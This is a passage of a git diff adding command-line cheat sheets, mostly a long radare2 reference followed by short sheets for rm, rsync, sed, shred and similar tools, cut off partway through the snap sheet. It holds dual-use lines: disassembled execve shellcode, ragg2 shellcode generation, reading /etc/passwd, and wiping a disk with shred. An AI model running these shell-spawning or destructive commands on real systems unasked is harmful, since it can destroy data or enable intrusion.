+----------------------------------------------------------------------------------------------------------------------------- + +# Configuration properties + e: Returs configuration properties + + e : Checks a specific property: + e asm.tabs => false + + e =: Change property value + e asm.arch=ppc + + e? help about a configuration property + e? cmd.stack + + + + # Show comments at right of disassembly if they fit in screen + e asm.cmtright=true + + # Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok + e asm.pseudo = true + + # Display stack and register values on top of disasembly view (visual mode) + e cmd.stack = true + + # Solarized theme + eco solarized + + # Use UTF-8 to show cool arrows that do not look like crap :) + e scr.utf8 = true + +----------------------------------------------------------------------------------------------------------------------------- + +# Basic Commands + + ; Command chaining: x 3;s+3;pi 3;s+3;pxo 4; + + | Pipe with shell commands: pd | less + + ! Run shell commands: !cat /etc/passwd + + !! Escapes to shell, run command and pass output to radare buffer + + Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this + command to launch it directly to the shell. A single one will walk through the io plugin list. + + ` Radare commands: wx `!ragg2 -i exec` + + ~ grep + + ~! grep -v + + ~[n] grep by columns afl~[0] + + ~:n grep by rows afl~:0 + + ~.. less/more mode + + +------------------------------------------------------------------- + + pi~mov,eax ; lines with mov or eax + pi~mov&eax ; lines with mov and eax + pi~mov,eax:6 ; 6 first lines with mov or eax + pd 20~call[0]:0 ; grep first column of the first row matching 'call' + + +------------------------------------------------------------------- + + .cmd Interprets command output + + +------------------------------------------------------------------- + + is* prints symbolos + .is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n) + + +------------------------------------------------------------------- + + .. repeats last commands (same as enter \n) + + ( Used to define and run macros + + $ Used to define alias + + $$: Resolves to current address + + Offsets (@) are absolute, we can use $$ for relative ones @ $$+4 + + ? Evaluate expression + +------------------------------------------------------------------- + + [0x00000000]> ? 33 +2 + 35 0x23 043 0000:0023 35 00100011 35.0 0.000000 + Note: | and & need to be escaped + + +------------------------------------------------------------------- + + ?$? Help for variables used in expressions + + $$: Here + + $s: File size + + $b: Block size + + $l: Opcode length + + $j: When $$ is at a jmp, $j is the address where we are going to jump to + + $f: Same for jmp fail address + + $m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10) + + ??? Help for ? command + + ?i Takes input from stdin. Eg ?i username + + ?? Result from previous operations + + ?s from to [step]: Generates sequence from to every + + ?p: Get physical address for given virtual address + + ?P: Get virtual address for given physical one + + ?v Show hex value of math expr + + +------------------------------------------------------------------- + + ?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d + ?v 0x4141414a - 0x41414140 = 0xa + + +------------------------------------------------------------------- + + ?l str: Returns the length of string + + @@: Used for iteractions + + +------------------------------------------------------------------- + + wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30 + wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3 + wx 90 @@ sym.* Writes a nop on every symbol + + +------------------------------------------------------------------- + +# Positioning + + s address: Move cursor to address or symbol + + s-5 (5 bytes backwards) + + s- undo seek + + s+ redo seek + +# Block Size + + b size: Change block size + +# Analyze + + aa: Analyze all (fcns + bbs) same that running r2 with -A + + ahl : fake opcode length for a range of bytes + + ad: Analyze data + + ad@rsp (analize the stack) + + + Normal mode + + af: Analyze functions + + afl: List all functions + number of functions: afl~? + + afi: Returns information about the functions we are currently at + + afr: Rename function: structure and flag + + afr off: Restore function name set by r2 + + afn: Rename function + + afn strlen 0x080483f0 + + af-: Removes metadata generated by the function analysis + + af+: Define a function manually given the start address and length + af+ 0xd6f 403 checker_loop + + axt: Returns cross references to (xref to) + + axf: Returns cross references from (xref from) + + + Visual mode + + d, f: Function analysis + + d, u: Remove metadata generated by function analysis + + + Opcode analysis + + ao x: Analize x opcodes from current offset + + a8 bytes: Analize the instruction represented by specified bytes + +# Information + + iI: File info + + iz: Strings in data section + + izz: Strings in the whole binary + + iS: Sections + iS~w returns writable sections + + is: Symbols + is~FUNC exports + + il: Linked libraries + + ii: Imports + + ie: Entrypoint + + + Mitigations + + i~pic : check if the binary has position-independent-code + + i~nx : check if the binary has non-executable stack + + i~canary : check if the binary has canaries + +# Print + + psz n @ offset: Print n zero terminated String + + px n @ offset: Print hexdump (or just x) of n bytes + + pxw n @ offset: Print hexdump of n words + pxw size@offset prints hexadecimal words at address + + pd n @ offset: Print n opcodes disassambled + + pD n @ offset: Print n bytes disassembled + + pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions) + + pdf @ offset: Print disassembled function + pdf~XREF (grep: XREFs) + pdf~call (grep: calls) + + pcp n @ offset: Print n bytes in python string output. + pcp 0x20@0x8048550 + import struct + buf = struct.pack ("32B", + 0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00, + 0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20, + 0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz) + + p8 n @ offset: Print n bytes (8bits) (no hexdump) + + pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...) + + pt: Interpret data as dates + + pf: Print with format + + pf.: list all formats + + p=: Print entropy ascii graph + +# Write + + wx: Write hex values in current offset + wx 123456 + wx ff @ 4 + + wa: Write assembly + wa jnz 0x400d24 + + wc: Write cache commit + + wv: Writes value doing endian conversion and padding to byte + + wo[x]: Write result of operation + wow 11223344 @102!10 + write looped value from 102 to 102+10 + 0x00000066 1122 3344 1122 3344 1122 0000 0000 0000 + + wox 0x90 + XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block) + + wox 67 @4!10 + XOR from offset 4 to 10 with value 67 + + wf file: Writes the content of the file at the current address or specified offset (ASCII characters only) + + wF file: Writes the content of the file at the current address or specified offset + + wt file [sz]: Write to file (from current seek, blocksize or sz bytes) + Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF) + + woO 41424344 : get the index in the De Bruijn Pattern of the given word + +# Flags + + f: List flags + + f label @ offset: Define a flag `label` at offset + f str.pass_len @ 0x804999c + + f -label: Removes flag + + fr: Rename flag + + fd: Returns position from nearest flag (looking backwards). Eg => entry+21 + + fs: Show all flag spaces + + fs flagspace: Change to the specified flag space + + fe loop and create numbered flags: + + 1. fs demo_flagspace + 2. fe demo_flagspace @@=`pdf~jne[1]` + +# Yank & Paste + + y n: Copies n bytes from current position + + y: Shows yank buffer contentent with address and length where each entry was copied from + + yp: Prints yank buffer + + yy offset: Paste the contents of the yank buffer at the specified offset + + yt n target @ source: Yank to. Copy n bytes fromsource to target address + +# Visual Mode + + q: Exits visual mode + + hjkl: move around (or HJKL) (left-down-up-right) + + o: go/seek to given offset + + ?: Help + + .: Seek EIP + + : Follow address of the current jump/call + + :cmd: Enter radare commands. Eg: x @ esi + + d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it. + dr: Rename a function + df: Define a function + + v: Get into the visual code analysis menu to edit/look closely at the current function. + + p/P: Rotate print (visualization) modes + hex, the hexadecimal view + disasm, the disassembly listing + Use numbers in [] to follow jump + Use "u" to go back + + debug, the debugger + words, the word-hexidecimal view + buf, the C-formatted buffer + annotated, the annotated hexdump. + + c: Changes to cursor mode or exits the cursor mode + select: Shift+[hjkl] + i: Insert mode + a: assembly inline + A: Assembly in visual mode + y: Copy + Y: Paste + f: Creates a flag where cursor points to + in the hexdump view to toggle between hex and strings columns + + V: View ascii-art basic block graph of current function + + W: WebUI + + x, X: XREFs to current function. ("u" to go back) + + t: track flags (browse symbols, functions..) + + gG: Begging or end of file + + HUD + _ Show HUD + backspace: Exits HUD + We can add new commands to HUD in: radare2/shlr/hud/main + + ;[-]cmt: Add/remove comment + + m: Define a bookmark + + ': Go to previously defined bookmark + +# ROP + + /R opcodes: Search opcodes + + /R pop,pop,ret + + /Rl opcodes: Search opcodes and print them in linear way + + /Rl jmp eax,call ebx + + /a: Search assembly + + /a jmp eax + + pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng + + e search.roplen = 4 (change the depth of the search, to speed-up the hunt) + +# Searching + + / bytes: Search bytes + \x7fELF + + +------------------------------------------------------------------- + + push ebp + mov ebp, esp + + Opcodes: 5589e5 + + /x 5589e5 + [# ]hits: 54c0f4 < 0x0804c600 hits = 1 + 0x08049f70 hit0_0 5589e557565383e4f081ec + 0x0804c31a hit0_1 5589e583ec18c704246031 + 0x0804c353 hit0_2 5589e583ec1889442404c7 + 0x0804c379 hit0_3 5589e583ec08e87cffffff + 0x0804c3a2 hit0_4 5589e583ec18c70424302d + + pi 5 @@hit* (Print 5 first instructions of every hit) + + +------------------------------------------------------------------- + + Its possible to run a command for each hit. Use the cmd.hit property: + + e cmd.hit=px + +# Comments and defines + + Cd [size]: Define as data + + C- [size]: Define as code + + Cs [size]: Define as String + + Cf [size]: Define as struct + We can define structures to be shown in the disassmbly + + CC: List all comments or add a new comment in console mode + C* Show all comments/metadata + CC add new comment + CC- remove comment + +# Magic files + + pm: Print Magic files analysis + [0x00000000]> pm + 0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1 + + /m [magicfile]: Search magic number headers with libmagic + + search.align + search.from (0 = beginning) + search.to (0 = end) + search.asmstr + search.in + +# Yara + + :yara scan + +# Zignatures + + zg : Generate signatures + eg: zg go go.z + + Run the generated script to load signatures + eg: . go.z + + z: To show signatures loaded: + + +------------------------------------------------------------------- + + r2-(pid2)> pd 35 @ 0x08049adb-10 + | 0x08049adb call fcn.0805b030 + | fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println + | 0x08049ae0 add esp, 0xc + | 0x08049ae3 call fcn.08095580 + + +------------------------------------------------------------------- + +# Compare Files + + r2 -m 0xf0000 /etc/fstab ; Open source file + + o /etc/issue ; Open file2 at offset 0 + + o ; List both files + + cc offset: Diff by columns between current offset address and "offset" + +# Graphs + + + Basic block graphs + + af: Load function metadata + + ag $$ > a.dot: Dump basic block graph to file + + ag $$ | xdot: Show current function basic block graph + + + Call graphs + + af: Load function metadata + + agc $$ > b.dot: Dump basic block graph to file + + + Convert .dot in .png + + dot -Tpng -o /tmp/b.png b.dot + + + Generate graph for file + + radiff2 -g main crackme.bin crackme.bin > /tmp/a + xdot /tmp/a + +# Debugger + + + Start r2 in debugger mode. r2 will fork and attach + + r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /") + + ptrace://pid (debug backend does not notice, only access to mapped memory) + + + Pass arguments + + r2 -d rarun2 program=pwn1 arg1=$(python exploit.py) + + + Pass stdin + + r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) + + + Commands + + do: Reopen program + + dp: Shows debugged process, child processes and threads + + dc: Continue + + dcu
: Continue until symbol (sets bp in address, continua until bp and remove bp) + + dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library) + + ds: Step in + + dso: Step out + + dss: Skip instruction + + dr register=value: Change register value + + dr(=)?: Show register values + + db address: Sets a breakpoint at address + db sym.main add breakpoint into sym.main + db 0x804800 add breakpoint + db -0x804800 remove breakpoint + + dsi (conditional step): Eg: "dsi eax==3,ecx>0" + + dbt: Shows backtrace + + drr: Display in colors and words all the refs from registers or memory + + dm: Shows memory map (* indicates current section) + [0xb776c110]> dm + sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls + sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls + sys 0xb776a000 - 0xb776b000 s r-x [vdso] + sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so + sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so + sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack] + + + To follow child processes in forks (set-follow-fork-mode in gdb) + + dcf until a fork happen then use dp to select what process you want to debug. + + + PEDA like details + + drr;pd 10@-10;pxr 40@esp + + + Debug in visual mode + + toggl breakpoints with F2 + single-step with F7 (s) + step-over with F8 (S) + continue with F9 + +# WebGUI + + =h: Start the server + =H: Start server and browser + +# rax2 - Base Conversion + + -e: Change endian + + -k: random ASCII art to represent a number/hash. Similar to how SSH represents keys + + -s: ASCII to hex + rax2 -S hola (from string to hex) + rax2 -s 686f6c61 (from hex to string) + + -S: binary to hex (for files) + + -N: pack an integer + rax2 -N 0x1234 # \x34\x12\x00\x00 + +# rahash2 - Entropy, hashes and checksums + + -a: Specify the algorithm + + -b XXX: Block size + + -B: Print all blocks + + -a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy) + + + Rot13 with rahash2 + rahash2 -E rot -S s:13 -s ‘Hello\n’ + +# radiff2 - File diffing + + -s: Calculate text distance from two files. + + -d: Delta diffing (For files with different sizes. Its not byte per byte) + + -C: Code diffing (instead of data) + + +------------------------------------------------------------------- + + Diff original and patched on x86_32, using graphdiff algorithm + radiff2 -a x86 -b32 -C original patched + + Show differences between original and patched on x86_32 + radiff2 -a x86 -b32 original patched : + + +------------------------------------------------------------------- + +# rasm2 - Assembly/Disasembly + + -L: Supported architectures + + -a arch instruction: Sets architecture + rasm2 -a x86 'mov eax,30' => b81e000000 + + -b tam: Sets block size + + -d: Disassembly + rasm2 -d b81e000000 => mov eax, 0x1e + + -C: Assembly in C output + rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00" + + -D: Disassemble showing hexpair and opcode + rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e + + -f: Read data from file instead of ARG. + + -t: Write data to file + + + Disassemble shellcode from hex stdin + + +------------------------------------------------------------------- + + echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d - + xor eax, eax + movabs rbx, 0xff978cd091969dd1 + neg rbx + push rbx + push rsp + pop rdi + cdq + push rdx + push rdi + push rsp + pop rsi + mov al, 0x3b + syscall + + +------------------------------------------------------------------- + +# rafind2 - Search + + -Z: Look for Zero terminated strings + + -s str: Look for specifc string + + -X: Hex dump around output + + + Search "/bin/sh" in libc + + rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6 + +# ragg2 - Shellcode generator, C/opcode compiler + + P: Generate De Bruijn patterns + ragg2 -P 300 -r + + -a arch: Configure architecture + + -b bits: Specify architecture bits (32/64) + + -i shellcode: Specify shellcode to generate + + -e encoder: Specify encoder + + + ragg2-cc: Generate shellcode from c + + + Generate a x86, 32 bits exec shellcode + ragg2 -a x86 -b 32 -i exec + +# rabin2 - Executable analysis: symbols, imports, strings + + -I: Executable information + + -C: Returns classes. Useful to list Java Classes + + -l: Dynamic linked libraries + + -s: Symbols + + -z: Strings + +# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds + + r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits + r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin + +# ESIL emulation + + 1) aei: Initialize ESIL VM + + 2) aeim: Assign ESIL stack + aeim 0xffffd000 0x1000 stack + + 3) aeip: Program counter to current seek + + 4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code) + + 5) aes: Single stepping in emulation mode + + + Toggle IL representation via O in Visual Mode + +# ESIL Linear emulation + + Find all references to curr. address using linear esil emulation on all imports. + + /re$$@@ sym.imp.* + +# ESIL IL Representation + + op esil + ------------ + mov = + mul * + div / + and & + neg ! + read [] + if ?{ + add + + sub - + xor ^ + or | + cmp == + write =[] + + + prefix is % + + carry from bit x -> %cx + + borrow from bit x -> %bx + + zero-flag -> %z + + parity of dst -> %p + + sign-flag -> %s + + overflow-flag -> %o + + + BREAK - Stop parsing and emulate next instruction + + LOOP - restart emulation of instruction + + GOTO n - jump to n + + TODO - stop emulation and eprintf("TDOD %s", ins) + + x86 ESIL + ------------------------------------------------------ + mov eax, ebx ebx,eax,= + jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,} + cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,= + push ebp 4,esp,-=ebp,esp,=[4] + + + ESIL Doc + https://github.com/radare/radare2book/blob/master/esil.md + +# r2pipe commands + + + Invoke r2pipe script via r2 cmdline + + [0x00000000]> #!pipe node script.js + [0x00000000]> #!pipe python script.py + + + Good collection: + https://radare.org/get/r2pipe-nn2015.pdf + https://github.com/jpenalbae/r2-scripts +# Parsing ELF + + !!! open with r2 -nn + + + Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..) + + [0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~.. + +# pf Templates + + + Generate templates for structs/enums with td command + + "td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};" + + https://github.com/Maijin/r2-pf-templates/ + + + Cast data @ to and print it + + tp =
+ +# r2scapy + + r2 -i r2scapy.py dump.bin + [0x00000000]> scapy DNS 0x81de3c 48 + DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.')) + + + generate packets with scapy + >>> from scapy.all import * + >>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0) + +# r2m2 -Miasm Intermediate Representation Plugin + + + Assemble and disassemble MIPS32 using rasm2 + + r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d - + ADDIU A0, A1, 0x2 + + + Disassemble random MSP430 instructions in r2 + + r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' - + 0x00000000 07fa and.w R10, R7 + 0x00000002 47ad dadd.b R13, R7 + 0x00000004 f05e0778 add.b @R14+, 0x7807(PC) + 0x00000008 f46d81ed addc.b @R13+, 0xED81(R4) + 0x0000000c 3fdc bis.w @R12+, R15 + + Assemble MIPS32 using rasm2 and display the call graph using r2 + + r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin + + r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin + ,=< 0x00000000 0c000001 JAL 0x4 + `-> 0x00000004 00000000 NOP + +# bin carving with r2 + + + Open raw dump + + r2 -n dump.bin + + + Searching for magic + + [0x00000000]> / \x7fELF + Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46 + 0x00001340 hit0_0 + 0x00001744 hit0_1 + ... + + + Dump 1M with at several hits + + [0x00000000]> b 1M + [0x00000000]> wt @@ hit0* + + + Automate it + + $ for a in dump.* ; do + sz=`rabin2 -Z $a` # get RBin.filesize + r2 -wnqc"r $sz" $a # resize file + done + + http://radare.today/posts/carving-bins/ + +# r4ge - symbolic execution + + https://github.com/gast04/r4ge + + Usage: https://asciinema.org/a/155856 + +# r2wiki -Macro for using wiki in commandline + + + https://github.com/securisec/r2wiki + + $wiki "query string" + diff --git a/rcs b/rcs new file mode 100644 index 0000000..2e41a5f --- /dev/null +++ b/rcs @@ -0,0 +1,26 @@ +# Initial check-in of file (leaving file active in filesystem) +ci -u + +# Check out with lock +co -l + +# Check in and unlock (leaving file active in filesystem) +ci -u + +# Display version x.y of a file +co -px.y + +# Undo to version x.y (overwrites file active in filesystem with the specified revision) +co -rx.y + +# Diff file active in filesystem and last revision +rcsdiff + +# Diff versions x.y and x.z +rcsdiff -rx.y -rx.z + +# View log of check-ins +rlog + +# Break an RCS lock held by another person on a file +rcs -u diff --git a/readline b/readline new file mode 100644 index 0000000..ef82e1a --- /dev/null +++ b/readline @@ -0,0 +1,49 @@ + Moving around +Ctrl-b Move the cursor one character ⇦ to the left +Ctrl-f Move the cursor one character ⇨ to the right +Alt-b Move the cursor one word ⇦ to the left +Alt-f Move the cursor one word ⇨ to the right +Ctrl-a Move the cursor ⇤ to the start of the line +Ctrl-e Move the cursor ⇥ to the end of the line +Ctrl-x-x Move the cursor ⇤⇥ to the start, and to the end again + + Cut, copy and paste +Backspace Delete the character ⇦ to the left of the cursor +DEL +Ctrl-d Delete the character underneath the cursor +Ctrl-u Delete everything ⇤ from the cursor back to the line start +Ctrl-k Delete everything ⇥ from the cursor to the end of the line +Alt-d Delete word ⇨ until before the next word boundary +Ctrl-w Delete word ⇦ until after the previous word boundary +Ctrl-y Yank/Paste prev. killed text at the cursor position +Alt-y Yank/Paste prev. prev. killed text at the cursor position + + History +Ctrl-p Move in history one line ⇧ before this line +Ctrl-n Move in history one line ⇩ after this line +Alt-> Move in history all the lines ⇩ to the line currently being entered +Ctrl-r Incrementally search the line history ⇧ backwardly +Ctrl-s Incrementally search the line history ⇩ forwardly +Ctrl-J End an incremental search +Ctrl-G Abort an incremental search and restore the original line +Alt-Ctrl-y Yank/Paste arg. 1 of prev. cmnd at the cursor position +Alt-. +Alt-_ Yank/Paste last arg of prev. cmnd at the cursor position + + Undo +Ctrl-_ +Ctrl-x +Ctrl-u Undo the last editing command; you can undo all the way back to an empty line +Alt-r Undo all changes made to this line +Ctrl-l Clear the screen, reprinting the current line at the top +Ctrl-l Clear the screen, reprinting the current line at the top + + Completion +TAB Auto-complete a name +Alt-/ Auto-complete a name (without smart completion) +Alt-? List the possible completions of the preceeding text +Alt-* Insert all possible completions of the preceeding text + + Transpose +Ctrl-t Transpose/drag char. before the cursor ↷ over the character at the cursor +Alt-t Transpose/drag word before the cursor ↷ over the word at/after the cursor diff --git a/rename b/rename new file mode 100644 index 0000000..909842c --- /dev/null +++ b/rename @@ -0,0 +1,5 @@ +# Lowercase all files and folders in current directory +rename 'y/A-Z/a-z/' * + +# Replace 'sometext' with 'replacedby' in all files in current directory +rename 's/sometext/replacedby/' * diff --git a/rm b/rm new file mode 100644 index 0000000..2a8fc02 --- /dev/null +++ b/rm @@ -0,0 +1,8 @@ +# Remove files and subdirs +rm -rf path/to/the/target/ + +# Ignore non existent files +rm -f path/to/the/target + +# Remove a file with his inode +find /tmp/ -inum 6666 -exec rm -i '{}' \; diff --git a/route b/route new file mode 100644 index 0000000..5997ebd --- /dev/null +++ b/route @@ -0,0 +1,29 @@ +# To display routing table IP addresses instead of host names: +route -n + +# To add a default gateway: +route add default gateway 192.168.0.1 + +# To add the normal loopback entry, using netmask 255.0.0.0 and associated with the "lo" device (assuming this device was previously set up correctly with ifconfig(8)). +route add -net 127.0.0.0 netmask 255.0.0.0 dev lo + +# To add a route to the local network 192.56.76.x via "eth0". The word "dev" can be omitted here. +route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0 + +# To delete the current default route, which is labeled "default" or 0.0.0.0 in the destination field of the current routing table. +route del default + +# To add a default route (which will be used if no other route matches). All packets using this route will be gatewayed through "mango-gw". The device which will actually be used for that route depends on how we can reach "mango-gw" - the static route to "mango-gw" will have to be set up before. +route add default gw mango-gw + +# To add the route to the "ipx4" host via the SLIP interface (assuming that "ipx4" is the SLIP host). +route add ipx4 sl0 + +# To add the net "192.57.66.x" to be gateway through the former route to the SLIP interface. +route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4 + +# To install a rejecting route for the private network "10.x.x.x." +route add -net 10.0.0.0 netmask 255.0.0.0 reject + +# This is an obscure one documented so people know how to do it. This sets all of the class D (multicast) IP routes to go via "eth0". This is the correct normal configuration line with a multicasting kernel +route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 diff --git a/rpm b/rpm new file mode 100644 index 0000000..63227bc --- /dev/null +++ b/rpm @@ -0,0 +1,31 @@ +# To install a package: +rpm -ivh + +# To remove a package: +rpm -e + +# To remove a package, but not its dependencies +rpm -e --nodeps + +# To find what package installs a file: +rpm -qf + +# To find what files are installed by a package: +rpm -ql +rpm -qpl + +# To find what packages require a package or file: +rpm -q --whatrequires +rpm -q --whatrequires + +# To list all installed packages: +rpm -qa + +# To find a pkg's dependencies +rpm -i --test + +# Display checksum against source +rpm -K + +# Verify a package +rpm -V diff --git a/rpm2cpio b/rpm2cpio new file mode 100644 index 0000000..c1ec783 --- /dev/null +++ b/rpm2cpio @@ -0,0 +1,5 @@ +# List contents of RPM +rpm2cpio foo.rpm | cpio -vt + +# Extract contents of RPM +rpm2cpio foo.rpm | cpio -vid \ No newline at end of file diff --git a/rss2email b/rss2email new file mode 100644 index 0000000..5d5cc77 --- /dev/null +++ b/rss2email @@ -0,0 +1,21 @@ +'rss2email -- converts rss feeds and emails them to your inbox' + +# List all feeds +r2e list + +# Convert RSS entries to email +r2e run + +# Add a new feed +r2e add + +# Add a new feed with new email address +r2e add [newemail address] + +# Delete a feed +r2e delete <# of feed in list/> + +# Help +r2e -h + + diff --git a/rsync b/rsync new file mode 100644 index 0000000..22b5ea9 --- /dev/null +++ b/rsync @@ -0,0 +1,17 @@ +# To copy files from remote to local, maintaining file properties and sym-links (-a), zipping for faster transfer (-z), verbose (-v). +rsync -avz host:file1 :file1 /dest/ +rsync -avz /source host:/dest + +# Copy files using checksum (-c) rather than time to detect if the file has changed. (Useful for validating backups). +rsync -avc /source/ /dest/ + +# Copy contents of /src/foo to destination: + +# This command will create /dest/foo if it does not already exist +rsync -auv /src/foo /dest + +# Explicitly copy /src/foo to /dest/foo +rsync -auv /src/foo/ /dest/foo + +# Copy file from local to remote over ssh with non standard port 1234 to destination folder in remoteuser's home directory +rsync -avz -e "ssh -p1234" /source/file1 remoteuser@X.X.X.X:~/destination/ diff --git a/sam2p b/sam2p new file mode 100644 index 0000000..9d5f9f9 --- /dev/null +++ b/sam2p @@ -0,0 +1,2 @@ +# Concatenate all pdf files into one: +sam2p *.pdf out.pdf diff --git a/scd b/scd new file mode 100644 index 0000000..88b4b3c --- /dev/null +++ b/scd @@ -0,0 +1,20 @@ +# To index recursively some paths for the very first run: +scd -ar ~/Documents/ + +# To change to a directory path matching "doc": +scd doc + +# To change to a path matching all of "a", "b" and "c": +scd a b c + +# To change to a directory path that ends with "ts": +scd "ts$" + +# To show selection menu and ranking of 20 most likely directories: +scd -v + +# To alias current directory as "xray": +scd --alias=xray + +# To jump to a previously defined aliased directory: +scd xray diff --git a/scp b/scp new file mode 100644 index 0000000..aaf866f --- /dev/null +++ b/scp @@ -0,0 +1,8 @@ +# To copy a file from your local machine to a remote server: +scp foo.txt user@example.com:remote/dir + +# To copy a file from a remote server to your local machine: +scp user@example.com:remote/dir/foo.txt local/dir + +# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup): +scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/ diff --git a/screen b/screen new file mode 100644 index 0000000..cc2d3e4 --- /dev/null +++ b/screen @@ -0,0 +1,11 @@ +# Start a new named screen session: +screen -S session_name + +# Detach from the current session: +Press Ctrl+A then press d + +# Re-attach a detached session: +screen -r session_name + +# List all screen sessions: +screen -ls diff --git a/sed b/sed new file mode 100644 index 0000000..93bc163 --- /dev/null +++ b/sed @@ -0,0 +1,23 @@ +# To replace all occurrences of "day" with "night" and write to stdout: +sed 's/day/night/g' file.txt + +# To replace all occurrences of "day" with "night" within file.txt: +sed -i 's/day/night/g' file.txt + +# To replace all occurrences of "day" with "night" on stdin: +echo 'It is daytime' | sed 's/day/night/g' + +# To remove leading spaces +sed -i -r 's/^\s+//g' file.txt + +# To remove empty lines and print results to stdout: +sed '/^$/d' file.txt + +# To replace newlines in multiple lines +sed ':a;N;$!ba;s/\n//g' file.txt + +# Insert a line before a matching pattern: +sed '/Once upon a time/i\Chapter 1' + +# Add a line after a matching pattern: +sed '/happily ever after/a\The end.' diff --git a/shred b/shred new file mode 100644 index 0000000..3962082 --- /dev/null +++ b/shred @@ -0,0 +1,13 @@ +# To shred a file (5 passes) and verbose output: +shred -n 5 -v file.txt + +# To shred a file (5 passes) and a final overwrite of zeroes: +shred -n 5 -vz file.txt + +# To do the above, and then truncate and rm the file: +shred -n 5 -vzu file.txt + +# To shred a partition: +shred -n 5 -vz /dev/sda + +# Remember that shred may not behave as expected on journaled file systems if file data is being journaled. diff --git a/shutdown b/shutdown new file mode 100644 index 0000000..52e914e --- /dev/null +++ b/shutdown @@ -0,0 +1,8 @@ +# Reboot the system immediately +shutdown -r now + +# Shut system down immediately +shutdown -h now + +# Reboot system after 5 minutes +shutdown -r +5 diff --git a/slurm b/slurm new file mode 100644 index 0000000..125af9a --- /dev/null +++ b/slurm @@ -0,0 +1,15 @@ +# Submit a new job: +sbatch job.sh + +# List all jobs for a user: +squeue -u user_name + +# Cancel a job by id or name: +scancel job_id +scancel --name job_name + +# List all information for a job: +scontrol show jobid -dd job_id + +# Status info for currently running job: +sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps diff --git a/smbclient b/smbclient new file mode 100644 index 0000000..4231fd8 --- /dev/null +++ b/smbclient @@ -0,0 +1,5 @@ +# To display public shares on the server: +smbclient -L -U% + +# To connect to a share: +smbclient /// -U% diff --git a/snap b/snap new file mode 100644 index 0000000..3d0429a --- /dev/null +++ b/snap @@ -0,0 +1,98 @@ +# To find the `foo` snap: +snap find foo + +# To view detailed information about snap `foo`: +snap info foo + +# To view all private snaps (must be logged in): +snap find --private + +# To install the `foo` snap: +sudo snap install foo + +# To install the `foo` snap from the "beta" channel: +sudo snap install foo --channel=beta + +# To view installed snaps: +snap list + +# To list all revisions of installed snaps: +snap list --all + +# To (manually) update all snaps: +sudo snap refresh + +# To (manually) update the `foo` snap: +sudo snap refresh foo + +# To update the `foo` snap to the "beta" channel: +sudo snap refresh foo --channel=beta + +# To revert the `foo` snap to a prior version: +sudo snap revert foo + +# To revert the `foo` snap to revision 5: +snap 